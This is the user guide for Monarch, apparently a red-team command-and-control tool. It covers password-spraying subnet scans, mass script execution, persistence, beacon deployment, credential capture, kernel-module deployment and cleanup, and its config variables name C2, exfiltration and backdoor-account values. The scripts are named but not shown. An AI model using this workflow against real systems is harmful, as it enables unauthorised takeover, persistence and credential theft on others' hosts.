This guide covers the normal day-to-day workflow for Monarch.
From the repository root:
cd monarch
./run_monarch.shOr directly:
python3 -m monarch replCreate the config file once:
python3 -m monarch config initThis creates monarch.runtime.json in the monarch/ directory.
Set values there once instead of exporting environment variables each run.
Key variables commonly used by scripts:
C2_URLPUBKEYSERVICE_NAMEBEACON_PATHBEACON_URLBEACON_NAMECRON_MINUTECRON_HOUREXFIL_URLLOG_FILEBACKDOOR_USERBACKDOOR_PASS
Template replacement behavior:
- Before each script upload/execute, Monarch replaces placeholders in script text.
- Placeholder format:
{{KEY}} - Values are pulled from
monarch.runtime.json -> variables. - If any placeholder remains unresolved, Monarch now aborts execution with a clear error.
If you updated Monarch and your existing config is missing new keys:
python3 -m monarch config initThen copy any missing keys from the new defaults into your current
monarch.runtime.json.
Scan a subnet and seed passwords:
python3 -m monarch scan 10.100.40.0/24 password1 password2List known hosts:
python3 -m monarch listAdd one host manually:
python3 -m monarch add 10.100.40.50 MyPassword!Selector syntax:
alltag:<value>subnet:<prefix>port:<number>alias:<glob>
Examples:
python3 -m monarch check -S "all"
python3 -m monarch check -S "subnet:10.100.40"
python3 -m monarch check -S "alias:san*"
python3 -m monarch script -S "tag:web port:22" recon.shRun authentication checks before larger operations:
python3 -m monarch check -S "all"Preview targets and script first:
python3 -m monarch script --dry-run -S "subnet:10.100.40" recon.shRequire confirmation:
python3 -m monarch script --confirm -S "subnet:10.100.40" recon.shRun on a single host:
python3 -m monarch script -H san recon.shUpload script/file to selected hosts:
python3 -m monarch upload recon.sh -S "subnet:10.100.40"Download remote directory/file:
python3 -m monarch download /root/initial_backs -S "alias:san*"List historical runs:
python3 -m monarch ops listShow one operation:
python3 -m monarch ops status <op_id>Edit host data:
python3 -m monarch edit san password NewPassword!
python3 -m monarch edit san alias web-01
python3 -m monarch edit san port 2222Remove host:
python3 -m monarch remove sanStart REPL:
python3 -m monarch replUseful REPL notes:
- Tab completion is enabled for commands.
- Prompt shows host count.
exitleaves REPL.
Top-level help:
python3 -m monarch helpCommand-specific help:
python3 -m monarch help script
python3 -m monarch help check
python3 -m monarch help opsThis playbook gives repeatable workflows using scripts currently in
monarch/scripts/linux-red-teaming.
- Run discovery.
python3 -m monarch scan 10.100.40.0/24 password1 password2
python3 -m monarch list- Preflight check all discovered hosts.
python3 -m monarch check -S "all"- Run recon collection first.
python3 -m monarch script --confirm -S "all" recon.sh- Inspect operation output.
python3 -m monarch ops list
python3 -m monarch ops status <op_id>Use persist.sh for consistent install instead of one-off legacy scripts.
- Dry run target resolution.
python3 -m monarch script --dry-run -S "subnet:10.100.40" persist.sh- Configure values in
monarch.runtime.jsonand execute.
python3 -m monarch script --confirm -S "subnet:10.100.40" persist.sh- Verify host auth still works.
python3 -m monarch check -S "subnet:10.100.40"Use beacon_deploy.sh for repeatable deployment and scheduling.
python3 -m monarch script --confirm -S "alias:san*" beacon_deploy.shUse the managed pair: cred_capture.sh and cred_capture_reverse.sh.
python3 -m monarch script --confirm -S "tag:web" cred_capture.shRollback:
python3 -m monarch script --confirm -S "tag:web" cred_capture_reverse.shUse cleanup.sh for broad cleanup and then clear.sh for residual script files.
python3 -m monarch script --confirm -S "all" cleanup.sh
python3 -m monarch script --confirm -S "all" clear.shList available workflows from config:
python3 -m monarch workflow listRun workflow as-is:
python3 -m monarch workflow run triageOverride selector for all steps in a workflow:
python3 -m monarch workflow run persistence -S "subnet:10.100.40"Dry run workflow:
python3 -m monarch workflow run cleanup --dry-runpython3 -m monarch scan 10.100.28.0/24 'WaterIsWet??'
python3 -m monarch scan 10.100.30.0/24 'SolarIsLight!!'
python3 -m monarch check -S "all" --remove-failed
python3 -m monarch profiledeploy persistence and cred_capture
python3 -m monarch workflow run persistence
python3 -m monarch workflow run capture
python3 -m monarch script -S "all" deploy-kernel-module.shPrefer these newer scripts for consistency:
persist.shinstead of:systemd_persist.sh,add_pubkey.sh,motd_poison.shbeacon_deploy.shinstead of:beacon_go.sh,deploy_beacon.sh,deploy_beacon2.shcred_capture.shandcred_capture_reverse.shinstead of ad hoc variantsrecon.shfor structured collectioncleanup.shfor complete rollback, thenclear.sh
Use legacy scripts only when you intentionally need their exact behavior.